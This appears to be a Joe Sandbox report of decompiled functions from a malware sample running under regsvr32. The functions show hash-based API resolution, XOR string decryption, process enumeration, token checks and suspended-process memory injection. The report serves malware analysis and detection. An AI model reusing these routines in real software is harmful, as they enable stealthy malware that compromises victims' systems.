Uniqueness Score: -1.00%

Function 0099EF38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95
libraryloaderCOMMON

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C-Code - Quality: 100%

			E0099EF38(void* __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v92;
				intOrPtr _t41;
				signed int _t47;
				signed int _t49;
				signed int _t51;
				void* _t56;
				struct HINSTANCE__* _t58;
				_Unknown_base(*)()* _t59;
				intOrPtr _t60;
				void* _t62;
				intOrPtr _t63;
				void* _t69;
				char _t70;
				void* _t75;
				CHAR* _t80;
				void* _t82;

				_t75 = __ecx;
				_v12 = __edx;
				_t60 =  *((intOrPtr*)(__ecx + 0x3c));
				_t41 =  *((intOrPtr*)(_t60 + __ecx + 0x78));
				if(_t41 == 0) {
					L4:
					return 0;
				}
				_t62 = _t41 + __ecx;
				_v24 =  *((intOrPtr*)(_t62 + 0x24)) + __ecx;
				_t73 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_t63 =  *((intOrPtr*)(_t62 + 0x18));
				_v28 =  *((intOrPtr*)(_t62 + 0x1c)) + __ecx;
				_t47 = 0;
				_v20 =  *((intOrPtr*)(_t62 + 0x20)) + __ecx;
				_v8 = 0;
				_v16 = _t63;
				if(_t63 == 0) {
					goto L4;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t49 = E0099E34A( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75, E0099A5D0( *((intOrPtr*)(_t73 + _t47 * 4)) + _t75), 0);
					_t51 = _v8;
					if((_t49 ^ 0x218fe95b) == _v12) {
						break;
					}
					_t73 = _v20;
					_t47 = _t51 + 1;
					_v8 = _t47;
					if(_t47 < _v16) {
						continue;
					}
					goto L4;
				}
				_t69 =  *((intOrPtr*)(_t60 + _t75 + 0x78)) + _t75;
				_t80 =  *((intOrPtr*)(_v28 + ( *(_v24 + _t51 * 2) & 0x0000ffff) * 4)) + _t75;
				if(_t80 < _t69 || _t80 >=  *((intOrPtr*)(_t60 + _t75 + 0x7c)) + _t69) {
					return _t80;
				} else {
					_t56 = 0;
					while(1) {
						_t70 = _t80[_t56];
						if(_t70 == 0x2e || _t70 == 0) {
							break;
						}
						 *((char*)(_t82 + _t56 - 0x58)) = _t70;
						_t56 = _t56 + 1;
						if(_t56 < 0x40) {
							continue;
						}
						break;
					}
					 *((intOrPtr*)(_t82 + _t56 - 0x58)) = 0x6c6c642e;
					 *((char*)(_t82 + _t56 - 0x54)) = 0;
					if( *((char*)(_t56 + _t80)) != 0) {
						_t80 =  &(( &(_t80[1]))[_t56]);
					}
					_t40 =  &_v92; // 0x6c6c642e
					_t58 = LoadLibraryA(_t40); // executed
					if(_t58 == 0) {
						goto L4;
					}
					_t59 = GetProcAddress(_t58, _t80);
					if(_t59 == 0) {
						goto L4;
					}
					return _t59;
				}
			}

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APIs

LoadLibraryA.KERNELBASE(.dll,?,00000138,00000000), ref: 0099F008
GetProcAddress.KERNEL32(00000000,?), ref: 0099F014

Strings

.dll, xrefs: 0099F004, 0099F007

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: .dll
API String ID: 2574300362-2738580789
Opcode ID: c528729c95636f677720bd69a6c0e7fd61215b49a22cfb6ac5db217d66bfe075
Instruction ID: a138aabe3b16773cd8c0033dd5e2f0ae7d6b6f84f2a7e7b16a929cae675acb93
Opcode Fuzzy Hash: c528729c95636f677720bd69a6c0e7fd61215b49a22cfb6ac5db217d66bfe075
Instruction Fuzzy Hash: 9D31C431A002559BCF24CFADC880BAEBBF9AF44304F28446AE845DB351E730DD91CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0099BAF6 Relevance: 4.6, APIs: 3, Instructions: 66
processCOMMON

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C-Code - Quality: 72%

			E0099BAF6(void* __ecx, void* __edx) {
				void* _v304;
				char _v308;
				intOrPtr _v312;
				signed int _t16;
				signed int _t17;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t38;
				void* _t43;
				void* _t45;

				_t33 = __edx;
				_v304 = __ecx;
				_t16 = CreateToolhelp32Snapshot(2, 0);
				_t45 = _t16;
				_t17 = _t16 | 0xffffffff;
				if(_t45 != _t17) {
					E00998F63( &_v304, 0, 0x128);
					_v304 = 0x128;
					if(Process32First(_t45,  &_v304) != 0) {
						while(1) {
							_t43 = _v312( &_v308, _t33);
							if(_t43 == 0) {
								break;
							}
							_t38 =  *0x9af8d0; // 0x452f8c0
							_push( &_v308);
							_push(_t45);
							if( *((intOrPtr*)(_t38 + 0x44))() != 0) {
								continue;
							}
							break;
						}
						FindCloseChangeNotification(_t45);
						_t17 = 0 | _t43 == 0x00000000;
					} else {
						_t30 =  *0x9af8d0; // 0x452f8c0
						 *((intOrPtr*)(_t30 + 0x30))(_t45);
						_t17 = 0xfffffffe;
					}
				}
				return _t17;
			}

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APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000011,?,00000010), ref: 0099BB14

Part of subcall function 00998F63: memset.MSVCRT ref: 00998F75

Process32First.KERNEL32(00000000,?), ref: 0099BB44
FindCloseChangeNotification.KERNELBASE(00000000), ref: 0099BB84

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: ChangeCloseCreateFindFirstNotificationProcess32SnapshotToolhelp32memset
String ID:
API String ID: 3344077921-0
Opcode ID: 230884831a946b503f5c07df6f637fb96520f2e4be4ab21bc88168929263c8f6
Instruction ID: 2d84e6dc8f8afef55de69e4f40708aff379b4572aeb0f5bc3528882346960fd1
Opcode Fuzzy Hash: 230884831a946b503f5c07df6f637fb96520f2e4be4ab21bc88168929263c8f6
Instruction Fuzzy Hash: 7C118E72204201ABD720EFACAC49E6A77ECEF85360F140A29F525C7194EB28D90487A2

Uniqueness

Uniqueness Score: -1.00%

Function 0099C778 Relevance: 6.1, APIs: 4, Instructions: 83
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 94%

			E0099C778(WCHAR* __ecx, WCHAR* __edx) {
				long _v8;
				long _v12;
				WCHAR* _v16;
				short _v528;
				short _v1040;
				short _v1552;
				intOrPtr _t23;
				WCHAR* _t27;
				signed int _t29;
				void* _t33;
				long _t38;
				WCHAR* _t43;
				WCHAR* _t56;

				_t44 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t43 = __edx;
				_t56 = __ecx;
				E00998F63(__edx, 0, 0x100);
				_v12 = 0x100;
				_t23 =  *0x9af8d0; // 0x452f8c0
				 *((intOrPtr*)(_t23 + 0xbc))( &_v528,  &_v12);
				lstrcpynW(__edx,  &_v528, 0x100);
				_t27 = E00999F85(_t44, 0x978);
				_v16 = _t27;
				_t29 = GetVolumeInformationW(_t27,  &_v1552, 0x100,  &_v8, 0, 0,  &_v1040, 0x100);
				asm("sbb eax, eax");
				_v8 = _v8 &  ~_t29;
				E00998D9A( &_v16);
				_t33 = E0099A5E9(_t43);
				E00999FE4( &(_t43[E0099A5E9(_t43)]), 0x100 - _t33, L"%u", _v8);
				lstrcatW(_t43, _t56);
				_t38 = E0099A5E9(_t43);
				_v12 = _t38;
				CharUpperBuffW(_t43, _t38);
				return E0099E34A(_t43, E0099A5E9(_t43) + _t40, 0);
			}

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APIs

Part of subcall function 00998F63: memset.MSVCRT ref: 00998F75

lstrcpynW.KERNEL32(?,?,00000100), ref: 0099C7BF
GetVolumeInformationW.KERNELBASE(00000000,?,00000100,00000000,00000000,00000000,?,00000100), ref: 0099C7F1

Part of subcall function 00999FE4: _vsnwprintf.MSVCRT ref: 0099A001

lstrcatW.KERNEL32(?,00000114), ref: 0099C82A
CharUpperBuffW.USER32(?,00000000), ref: 0099C83C

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: BuffCharInformationUpperVolume_vsnwprintflstrcatlstrcpynmemset
String ID:
API String ID: 455400327-0
Opcode ID: 4281b1d86804942503b8baa14d4e268808678270d45dfe98568d3874e181022c
Instruction ID: be13d77ab29925e2fddefa0b2ca7c4a5f734a62924cd13ac8bdae1c77fceae14
Opcode Fuzzy Hash: 4281b1d86804942503b8baa14d4e268808678270d45dfe98568d3874e181022c
Instruction Fuzzy Hash: E92158B2A10214BFDB10ABA8DC4AFAE77BCEFD5310F104169F505D6181EA745E0487A1

Uniqueness

Uniqueness Score: -1.00%

Function 00998BCD Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 94
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E00998BCD(intOrPtr __ecx, void* __edx, intOrPtr _a4, signed int _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v28;
				short _v44;
				void* _t38;
				intOrPtr _t47;
				void* _t53;
				intOrPtr _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				void* _t58;
				intOrPtr _t59;
				void* _t62;
				void* _t64;
				signed int _t71;
				signed int _t74;
				void* _t76;
				void* _t77;

				_t71 = _a12;
				_t53 = __edx;
				_v8 = __ecx;
				_t74 = _t71;
				if(_t71 >= __edx) {
					L4:
					_t54 = 0x9af94e;
					L5:
					_t58 = 0;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsw");
					asm("movsb");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					asm("stosb");
					_t38 = 0;
					if(_v28 == 0) {
						L8:
						_t64 = _t38;
						if(_t64 == 0) {
							L10:
							lstrlenW( &_v44);
							return _t54;
						} else {
							goto L9;
						}
						do {
							L9:
							_t19 = _t58 + 0x30; // 0x30
							 *((char*)(_t77 + _t58 - 0x28)) = _t19;
							_t58 = _t58 + 1;
						} while (_t58 < _t64);
						goto L10;
					} else {
						goto L6;
					}
					do {
						L6:
						_t38 = _t38 + 1;
					} while ( *((intOrPtr*)(_t77 + _t38 - 0x18)) != 0);
					_t64 = 0xe;
					if(_t38 > _t64) {
						goto L9;
					}
					goto L8;
				}
				_t59 = _a4;
				_a12 = 0x5a;
				while( *((intOrPtr*)(_t74 % _a12 + _t59)) !=  *((intOrPtr*)(_t74 + _v8))) {
					_t74 = _t74 + 1;
					if(_t74 < _t53) {
						continue;
					}
					goto L4;
				}
				_t76 = _t74 - _t71;
				if(_t76 == 0) {
					goto L4;
				}
				_t47 = E00998DC9(_t76 + 1); // executed
				_t55 = _t47;
				_v12 = _t55;
				if(_t55 != 0) {
					_t56 = _a4;
					_t62 = _t55 - _t71;
					do {
						 *(_t62 + _t71) =  *(_t71 % _a12 + _t56) ^  *(_t71 + _v8);
						_t71 = _t71 + 1;
						_t76 = _t76 - 1;
					} while (_t76 != 0);
					_t54 = _v12;
					goto L5;
				}
				return 0x9af94e;
			}

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APIs

lstrlenW.KERNEL32(?,00000138,?,009ACA88), ref: 00998C50

Strings

GetCurrentPath, xrefs: 00998C0A
Z, xrefs: 00998BE7

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: GetCurrentPath$Z
API String ID: 1659193697-4005238709
Opcode ID: 3ad7758e52b9942a3da114a08322f3da75864f25a887400351f3d6e77a8498fc
Instruction ID: 529b187210ebc45f3c439155cbd47d7792e0cbc9b0dcf7b6e45022eeff1fb312
Opcode Fuzzy Hash: 3ad7758e52b9942a3da114a08322f3da75864f25a887400351f3d6e77a8498fc
Instruction Fuzzy Hash: F4210431B056456FCF14CFACC8801AFBB6ABF9F310B28447CD981AB201EA309D4687E0

Uniqueness

Uniqueness Score: -1.00%

Function 0099C986 Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E0099C986(union _TOKEN_INFORMATION_CLASS __edx, DWORD* _a4) {
				long _v8;
				void* _v12;
				void* _t12;
				void* _t20;
				void* _t22;
				union _TOKEN_INFORMATION_CLASS _t28;
				void* _t31;

				_push(_t22);
				_push(_t22);
				_t31 = 0;
				_t28 = __edx;
				_t20 = _t22;
				if(GetTokenInformation(_t20, __edx, 0, 0,  &_v8) != 0 || GetLastError() != 0x7a) {
					L6:
					_t12 = _t31;
				} else {
					_t31 = E00998DC9(_v8);
					_v12 = _t31;
					if(_t31 != 0) {
						if(GetTokenInformation(_t20, _t28, _t31, _v8, _a4) != 0) {
							goto L6;
						} else {
							E00998DDF( &_v12, _t16);
							goto L3;
						}
					} else {
						L3:
						_t12 = 0;
					}
				}
				return _t12;
			}

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APIs

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,00000000,00001644,00990000,00000000,00000000,?,0099CA07,00000000,00000000,?,0099CA30), ref: 0099C9A1
GetLastError.KERNEL32(?,0099CA07,00000000,00000000,?,0099CA30,00001644,?,0099E053), ref: 0099C9A8

Part of subcall function 00998DC9: RtlAllocateHeap.NTDLL(00000008,?,?,00999793,00000100,?,0099661B), ref: 00998DD7

GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,?,?,0099CA07,00000000,00000000,?,0099CA30,00001644,?,0099E053), ref: 0099C9D7

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: InformationToken$AllocateErrorHeapLast
String ID:
API String ID: 2499131667-0
Opcode ID: b463c7fbb12d3fbc12775ef71f704f906061fed8a81d11afcc634249dc3e84df
Instruction ID: e30f77c57975d25b672e220c45c2dcbc85118bd55aa271676fa36359df2867a9
Opcode Fuzzy Hash: b463c7fbb12d3fbc12775ef71f704f906061fed8a81d11afcc634249dc3e84df
Instruction Fuzzy Hash: 8301D6B2600114BF8F205BADDC49E9B7FACDF667A17200425F405D3111EA31DD0097A0

Uniqueness

Uniqueness Score: -1.00%

Function 0099BE10 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0099BE10(WCHAR* __ecx, struct _PROCESS_INFORMATION* __edx) {
				struct _STARTUPINFOW _v72;
				signed int _t11;

				E00998F63(__edx, 0, 0x10);
				E00998F63( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				_t11 = CreateProcessW(0, __ecx, 0, 0, 0, 4, 0, 0,  &_v72, __edx);
				asm("sbb eax, eax");
				return  ~( ~_t11) - 1;
			}

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0x0099be5f

APIs

Part of subcall function 00998F63: memset.MSVCRT ref: 00998F75

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,?,?,?,?,00000000,00000000), ref: 0099BE52

Strings

D, xrefs: 0099BE36

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcessmemset
String ID: D
API String ID: 2296119082-2746444292
Opcode ID: b5b13e0e91431c864460c21901997249b5501692a1cb0338e0f93dddb560a092
Instruction ID: 63124b4172cb5879dace52dbe666b2a467c2fd2de2bdc0f5242ce3d77fba4a06
Opcode Fuzzy Hash: b5b13e0e91431c864460c21901997249b5501692a1cb0338e0f93dddb560a092
Instruction Fuzzy Hash: A8F037F164420C7EFA20E659CC0AFBF36ACDB81710F5001297A05E71D0E9A4AD0582A5

Uniqueness

Uniqueness Score: -1.00%

Function 0099D889 Relevance: 3.1, APIs: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0099D889(intOrPtr __edx) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v36;
				char _v40;
				char _v80;
				char _t37;
				intOrPtr _t38;
				signed int _t45;
				void* _t49;
				intOrPtr _t50;
				intOrPtr _t52;
				intOrPtr _t54;
				void* _t56;
				intOrPtr _t59;
				void* _t62;
				intOrPtr _t63;
				signed int _t67;
				intOrPtr _t69;
				void* _t70;
				intOrPtr _t86;
				char _t87;
				void* _t88;

				_v16 = _v16 & 0x00000000;
				_v20 = __edx;
				_t86 = 0;
				_t37 = E0099D7CD( &_v16, __edx);
				_t87 = _t37;
				_v24 = _t87;
				_t89 = _t87;
				if(_t87 == 0) {
					return _t37;
				}
				_t38 =  *0x9af8d4; // 0x452fc00
				E0099B6E3( &_v80,  *((intOrPtr*)(_t38 + 0xac)) + 7, _t89);
				_v12 = _v12 & 0;
				_t67 = _v16;
				if(_t67 == 0) {
					L21:
					E00998DDF( &_v24, 0);
					return _t86;
				}
				while(_t86 == 0) {
					_t69 = 0;
					_v8 = 0;
					while(_t86 == 0) {
						E00998F63( &_v40, _t86, 0x10);
						_t88 = _t88 + 0xc;
						_t49 = E0099BE10( *((intOrPtr*)(_t87 + _v12 * 4)),  &_v40); // executed
						_t94 = _t49;
						if(_t49 >= 0) {
							_t56 = E0099D9DE(E00996297,  &_v40, _t94, _v20); // executed
							if(_t56 != 0) {
								_t59 =  *0x9af8d0; // 0x452f8c0
								_t70 =  *((intOrPtr*)(_t59 + 0xd0))(0, 0, 0,  &_v80);
								if(_t70 != 0) {
									GetLastError();
									_t62 = E0099DADC( &_v40);
									_t63 =  *0x9af8d0; // 0x452f8c0
									if(_t62 != 0) {
										_push(0xea60);
										_push(_t70);
										if( *((intOrPtr*)(_t63 + 0x2c))() == 0) {
											_t86 = _t86 + 1;
										}
										_t63 =  *0x9af8d0; // 0x452f8c0
									}
									FindCloseChangeNotification(_t70);
								}
								_t69 = _v8;
							}
						}
						if(_v40 != 0) {
							if(_t86 == 0) {
								_t54 =  *0x9af8d0; // 0x452f8c0
								 *((intOrPtr*)(_t54 + 0x110))(_v40, _t86);
							}
							_t50 =  *0x9af8d0; // 0x452f8c0
							 *((intOrPtr*)(_t50 + 0x30))(_v36);
							_t52 =  *0x9af8d0; // 0x452f8c0
							 *((intOrPtr*)(_t52 + 0x30))(_v40);
						}
						_t69 = _t69 + 1;
						_v8 = _t69;
						if(_t69 < 2) {
							continue;
						} else {
							break;
						}
					}
					_t67 = _v16;
					_t45 = _v12 + 1;
					_v12 = _t45;
					if(_t45 < _t67) {
						continue;
					} else {
						break;
					}
					do {
						goto L20;
					} while (_t67 != 0);
					goto L21;
				}
				L20:
				E00998DDF(_t87, 0xfffffffe);
				_t87 = _t87 + 4;
				_t67 = _t67 - 1;
			}

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APIs

Part of subcall function 00998F63: memset.MSVCRT ref: 00998F75

Part of subcall function 0099BE10: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,?,?,?,?,00000000,00000000), ref: 0099BE52

Part of subcall function 0099D9DE: GetThreadContext.KERNELBASE(?,00010002,00000000,00000000,00000000), ref: 0099DA40
Part of subcall function 0099D9DE: NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 0099DA89
Part of subcall function 0099D9DE: NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 0099DAA6
Part of subcall function 0099D9DE: NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 0099DAC7

GetLastError.KERNEL32(?,?,00000001), ref: 0099D939

Part of subcall function 0099DADC: ResumeThread.KERNELBASE(?,0099D947,?,?,00000001), ref: 0099DAE4

FindCloseChangeNotification.KERNELBASE(00000000,?,?,00000001), ref: 0099D964

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: MemoryVirtual$ProtectThread$ChangeCloseContextCreateErrorFindLastNotificationProcessResumeWritememset
String ID:
API String ID: 2212882986-0
Opcode ID: 1dab45250752cc32c50ca4b92e2e4e66382ca07e458d6cf4485edfa261370f15
Instruction ID: c0340ee95125cf3dbd52fa6d0f513245a17f590b73a5459c4e32da4fcd85dc0e
Opcode Fuzzy Hash: 1dab45250752cc32c50ca4b92e2e4e66382ca07e458d6cf4485edfa261370f15
Instruction Fuzzy Hash: 11415072A02209AFCF10EFADD9C5BAE77F9FF89310F144069E905A7251DB349E008B60

Uniqueness

Uniqueness Score: -1.00%

Function 00996603 Relevance: 3.1, APIs: 2, Instructions: 78
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			_entry_(void* __ecx, intOrPtr _a4, WCHAR* _a8) {
				long _v8;
				intOrPtr _t15;
				WCHAR* _t23;
				long _t24;
				void* _t28;
				void* _t31;
				intOrPtr _t36;
				void* _t41;
				void* _t48;
				intOrPtr* _t49;

				_push(__ecx);
				if(_a8 != 1) {
					__eflags = _a8;
					if(_a8 != 0) {
						L7:
						__eflags = 1;
						return 1;
					}
					_t15 =  *0x9af8d0; // 0x452f8c0
					 *((intOrPtr*)(_t15 + 0xb8))(0xaa);
					L3:
					return 0;
				}
				E00998DB4();
				E00999787();
				 *0x9af8e8 = _a4;
				E009A3D36(_a4);
				 *_t49 = 0xf2e;
				 *0x9af8d0 = E0099F0D9(0x9aca88, 0x138);
				 *_t49 = 0xe8d;
				_t23 = E00999F85(0x9aca88);
				_pop(_t41);
				_a8 = _t23;
				_t24 = GetFileAttributesW(_t23); // executed
				_push( &_a8);
				if(_t24 == 0xffffffff) {
					E00998D9A();
					 *_t49 = 0x1f4;
					_t28 = E0099FCDA(E0099109A(_t41));
					_a8 = _t28;
					__eflags = _t28;
					if(_t28 != 0) {
						_t48 = 0x54;
						 *0x9af8e0 = E0099F0D9(0x9acbf0, _t48);
						E0099647A(_t48, __eflags);
						E00998DDF( &_a8, 0xfffffffe);
						_t36 =  *0x9af8d0; // 0x452f8c0
						 *((intOrPtr*)(_t36 + 0xe8))(1, 0x641);
					}
					_v8 = 0;
					_t31 = CreateThread(0, 0, E009963A2, 0, 0,  &_v8);
					 *0x9af8f4 = _t31;
					__eflags = _t31;
					if(_t31 == 0) {
						goto L3;
					} else {
						goto L7;
					}
				}
				E00998D9A();
				goto L3;
			}

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APIs

Part of subcall function 00998DB4: HeapCreate.KERNELBASE(00000000,00096000,00000000,00996616), ref: 00998DBD

Part of subcall function 0099F0D9: GetModuleHandleA.KERNEL32(00000000,?,?,?,009ACA88,?,0099663F,?), ref: 0099F0FB

GetFileAttributesW.KERNELBASE(00000000), ref: 00996655
CreateThread.KERNELBASE(00000000,00000000,009963A2,00000000,00000000,?), ref: 009966DC

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: Create$AttributesFileHandleHeapModuleThread
String ID:
API String ID: 607385197-0
Opcode ID: 6a8e4745cb2088ffc2b29b783c38fdadf292839e0e7bc0e6c3cc6b5d05415620
Instruction ID: bf56cd113f0baa78466b4f92b6fb4ea832b728037a178fc0d21a005db434d07c
Opcode Fuzzy Hash: 6a8e4745cb2088ffc2b29b783c38fdadf292839e0e7bc0e6c3cc6b5d05415620
Instruction Fuzzy Hash: 15217AB1514205AFDF04AFBDE816B6E37E8AF86310F10852AF15ACA1D1EF78C9409B61

Uniqueness

Uniqueness Score: -1.00%

Function 0099F0D9 Relevance: 3.0, APIs: 2, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E0099F0D9(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v8;
				char _t5;
				struct HINSTANCE__* _t7;
				void* _t10;
				void* _t12;
				void* _t22;
				void* _t25;

				_push(__ecx);
				_t12 = __ecx;
				_t22 = __edx;
				_t5 = E00999F6B(_a4);
				_t25 = 0;
				_v8 = _t5;
				_push(_t5);
				if(_a4 != 0xf2e) {
					_t7 = LoadLibraryA(); // executed
				} else {
					_t7 = GetModuleHandleA();
				}
				if(_t7 != 0) {
					_t10 = E0099F08E(_t12, _t22, _t7); // executed
					_t25 = _t10;
				}
				E00998D87( &_v8);
				return _t25;
			}

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APIs

GetModuleHandleA.KERNEL32(00000000,?,?,?,009ACA88,?,0099663F,?), ref: 0099F0FB
LoadLibraryA.KERNELBASE(00000000,?,?,?,009ACA88,?,0099663F,?), ref: 0099F108

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Snapshot File: hcaresult_3_2_990000_regsvr32.jbxd

Yara matches

Similarity

API ID: HandleLibraryLoadModule
String ID:
API String ID: 4133054770-0
Opcode ID: b8ca7bbb35f43a7a700dc1eb33fd1668d54985cd4d535760c0a65b824c45a08f
Instruction ID: 9992f8e24e46978e44fd4ea18a4b5174d0ced29fe42c3a14b89e6500fd087767
Opcode Fuzzy Hash: b8ca7bbb35f43a7a700dc1eb33fd1668d54985cd4d535760c0a65b824c45a08f
Instruction Fuzzy Hash: E9F0A732318114EBDB14ABADDC5556AF7EDDF99391714413AF002D7151DEB08D4197D0

Uniqueness

Uniqueness Score: -1.00%

Function 0099CA5A Relevance: 1.6, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 47%

			E0099CA5A(void* __ecx, void* __esi) {
				intOrPtr* _v8;
				char _v12;
				void* _v16;
				char _v20;
				char _v24;
				short _v28;
				char _v32;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t29;
				intOrPtr _t31;
				intOrPtr* _t33;
				intOrPtr _t34;
				char _t37;
				union _TOKEN_INFORMATION_CLASS _t44;
				char _t45;
				intOrPtr* _t48;

				_t37 = 0;
				_v28 = 0x500;
				_t45 = 0;
				_v32 = 0;
				_t20 = E0099C92F(__ecx);
				_v16 = _t20;
				if(_t20 != 0) {
					_push( &_v24);
					_t44 = 2;
					_t21 = E0099C986(_t44); // executed
					_t48 = _t21;
					_v20 = _t48;
					if(_t48 == 0) {
						L10:
						FindCloseChangeNotification(_v16);
						if(_t48 != 0) {
							E00998DDF( &_v20, _t37);
						}
						return _t45;
					}
					_push( &_v12);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0x220);
					_push(0x20);
					_push(2);
					_push( &_v32);
					_t29 =  *0x9af8d8; // 0x452fab0
					if( *((intOrPtr*)(_t29 + 0xc))() == 0) {
						goto L10;
					}
					if( *_t48 <= 0) {
						L9:
						_t31 =  *0x9af8d8; // 0x452fab0
						 *((intOrPtr*)(_t31 + 0x10))(_v12);
						_t37 = 0;
						goto L10;
					}
					_t9 = _t48 + 4; // 0x4
					_t33 = _t9;
					_v8 = _t33;
					while(1) {
						_push(_v12);
						_push( *_t33);
						_t34 =  *0x9af8d8; // 0x452fab0
						if( *((intOrPtr*)(_t34 + 0x68))() != 0) {
							break;
						}
						_t37 = _t37 + 1;
						_t33 = _v8 + 8;
						_v8 = _t33;
						if(_t37 <  *_t48) {
							continue;
						}
						goto L9;
					}
					_t45 = 1;
					goto L9;
				}
				return _t20;
			}

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APIs

Part of subcall function 0099C92F: GetCurrentThread.KERNEL32 ref: 0099C942
Part of subcall function 0099C92F: GetLastError.KERNEL32(?,?,0099CA74,00000000,00990000), ref: 0099C950

Part of subcall function 0099C986: GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,00000000,00001644,00990000,00000000,00000000,?,0099CA07,00000000,00000000,?,0099CA30), ref: 0099C9A1
Part of subcall function 0099C986: GetLastError.KERNEL32(?,0099CA07,00000000,00000000,?,0099CA30,00001644,?,0099E053), ref: 0099C9A8

FindCloseChangeNotification.KERNELBASE(?,00001644,00000000,00990000), ref: 0099CAFE

Memory Dump Source

Source File: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

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Yara matches

Similarity

API ID: ErrorLast$ChangeCloseCurrentFindInformationNotificationThreadToken
String ID:
API String ID: 3430231349-0
Opcode ID: c95803c7f08cba529b75e2e2c1bde2be13d4712e39b9fe19b59cac35be8a7179
Instruction ID: 67ef4083e0d533e6d4dbebb746edd1a1b95662a9e481d8883548aa382d220768
Opcode Fuzzy Hash: c95803c7f08cba529b75e2e2c1bde2be13d4712e39b9fe19b59cac35be8a7179
Instruction Fuzzy Hash: C82149B2A05209AFDB10DFEDDC85AAEB7F8EF48700B104469E501E7261E7309A419B90

Uniqueness

Uniqueness Score: -1.00%

Function 009963A2 Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E009963A2(void* __fp0) {
				void* __ecx;
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				intOrPtr _t17;
				intOrPtr _t20;
				void* _t25;
				intOrPtr _t26;
				void* _t27;

				_t32 = __fp0;
				E0099651E();
				GetOEMCP();
				_t13 = E0099DFC2(__fp0); // executed
